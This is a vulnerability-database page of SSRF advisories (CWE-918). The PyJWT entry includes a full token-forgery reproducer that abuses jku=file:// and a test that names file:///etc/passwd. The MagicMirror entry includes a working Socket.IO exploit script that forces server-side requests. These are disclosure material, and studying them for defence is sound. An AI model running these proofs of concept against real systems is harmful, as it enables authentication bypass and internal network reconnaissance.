Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-98VP-FCQ9-GMJ3

Vulnerability from github – Published: 2025-05-14 18:30 – Updated: 2025-05-14 21:31
VLAI
Details

A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-40595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T17:15:48Z",
    "severity": "HIGH"
  },
  "details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.",
  "id": "GHSA-98vp-fcq9-gmj3",
  "modified": "2025-05-14T21:31:17Z",
  "published": "2025-05-14T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40595"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-98XV-5XRC-6PMQ

Vulnerability from github – Published: 2026-07-27 15:32 – Updated: 2026-07-27 15:32
VLAI
Details

Contributor Server Side Request Forgery (SSRF) in Feedzy <= 5.2.4 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-66437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T15:17:11Z",
    "severity": "MODERATE"
  },
  "details": "Contributor Server Side Request Forgery (SSRF) in Feedzy \u003c= 5.2.4 versions.",
  "id": "GHSA-98xv-5xrc-6pmq",
  "modified": "2026-07-27T15:32:33Z",
  "published": "2026-07-27T15:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66437"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/feedzy-rss-feeds/vulnerability/wordpress-feedzy-plugin-5-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-992M-5RJ6-QXJ2

Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-02 12:31
VLAI
Details

YesWiki before 4.6.7 contains a blind server-side request forgery vulnerability that allows unauthenticated attackers to make arbitrary server-side requests via the idtypeannonce parameter of /api/entries/bazarlist. Because isValidURL() always returns true, attackers can supply internal URLs fetched by curl in loadURLContent() to probe internal networks and reach internal services or metadata endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-104440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-02T12:17:14Z",
    "severity": "MODERATE"
  },
  "details": "YesWiki before 4.6.7 contains a blind server-side request forgery vulnerability that allows unauthenticated attackers to make arbitrary server-side requests via the idtypeannonce parameter of /api/entries/bazarlist. Because isValidURL() always returns true, attackers can supply internal URLs fetched by curl in loadURLContent() to probe internal networks and reach internal services or metadata endpoints.",
  "id": "GHSA-992m-5rj6-qxj2",
  "modified": "2026-10-02T12:31:15Z",
  "published": "2026-10-02T12:31:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-gw65-cpc7-hww6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104440"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/yeswiki-before-4.6.7-blind-ssrf-via-bazarlist-api-idtypeannonce-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-993G-76C3-P5M4

Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-07-31 22:13
VLAI
Summary
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
Details

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

  • No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
  • No existing GitHub issue or PR addressing scheme allowlisting
  • No silent fix in CHANGELOG through 2.12.1
  • 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:28:41Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "GHSA-993g-76c3-p5m4",
  "modified": "2026-07-31T22:13:14Z",
  "published": "2026-06-15T19:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}

GHSA-998G-7V5W-CR7G

Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26
VLAI
Summary
MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery
Details

Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)

Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/node_helper.js of MagicMirror², socket.io namespace /newsfeed.


Identification

Field Value
PoC file exploit-ssrf-newsfeed.js
Endpoint socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL
Precondition reach the mirror's HTTP port (no authentication required)

Description

The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.

This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.

The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.


Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.


Exploit (exploit-ssrf-newsfeed.js)

const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
    if (event === "ARTICLE_URL_STATUS") {
        console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
        console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
        process.exit(0);
    }
});
socket.on("connect", () => {
    console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
    socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);

Vulnerable target code (pattern)

async checkArticleUrl(url) {
  const res = await fetch(url, { method: "HEAD" });
  const canFrame = !res.headers.get("x-frame-options")
                && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
  this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}

Impact

  • Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
  • Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the mm-internal log referenced by the PoC).
  • Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.

References

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-306: Missing Authentication for Critical Function
  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains
  • OWASP: SSRF Prevention Cheat Sheet

This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "magicmirror"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T17:26:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability \u2014 Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror\u00b2 newsfeed)\n\n\u003e Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n\u003e Target: `newsfeed/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF \u2014 the attacker doesn\u0027t see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service\u0027s log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -\u003e ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() =\u003e { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n  const res = await fetch(url, { method: \"HEAD\" });\n  const canFrame = !res.headers.get(\"x-frame-options\")\n                \u0026\u0026 !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n  this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it\u0027s HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n\u003e This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.",
  "id": "GHSA-998g-7v5w-cr7g",
  "modified": "2026-08-18T17:26:46Z",
  "published": "2026-08-18T17:26:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery"
}

GHSA-99HR-PVHP-JHHQ

Vulnerability from github – Published: 2026-09-22 21:31 – Updated: 2026-09-22 21:31
VLAI
Details

Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-81999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T19:16:53Z",
    "severity": "HIGH"
  },
